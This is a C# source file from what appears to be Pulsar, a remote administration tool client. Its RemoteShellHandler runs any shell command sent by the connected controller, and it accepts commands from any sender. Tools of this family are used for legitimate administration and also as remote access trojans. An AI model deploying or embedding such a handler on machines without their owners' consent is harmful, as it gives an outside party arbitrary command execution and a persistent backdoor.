using Pulsar.Client.IO;
using Pulsar.Client.Networking;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Administration.RemoteShell;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using System;
namespace Pulsar.Client.Messages
{
///
/// Handles messages for the interaction with the remote shell.
///
public class RemoteShellHandler : IMessageProcessor, IDisposable
{
///
/// The current remote shell instance.
///
private Shell _shell;
///
/// The client which is associated with this remote shell handler.
///
private readonly PulsarClient _client;
///
/// Initializes a new instance of the class using the given client.
///
/// The associated client.
public RemoteShellHandler(PulsarClient client)
{
_client = client;
_client.ClientState += OnClientStateChange;
}
///
/// Handles changes of the client state.
///
/// The client which changed its state.
/// The new connection state of the client.
private void OnClientStateChange(Networking.Client s, bool connected)
{
// close shell on client disconnection
if (!connected)
{
_shell?.Dispose();
}
}
///
public bool CanExecute(IMessage message) => message is DoShellExecute;
///
public bool CanExecuteFrom(ISender sender) => true;
///
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case DoShellExecute shellExec:
Execute(sender, shellExec);
break;
}
}
private void Execute(ISender client, DoShellExecute message)
{
string input = message.Command;
if (_shell == null && input == "exit") return;
if (_shell == null) _shell = new Shell(_client);
if (input == "exit")
_shell.Dispose();
else
_shell.ExecuteCommand(input);
}
///
/// Disposes all managed and unmanaged resources associated with this message processor.
///
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
_shell?.Dispose();
}
}
}
}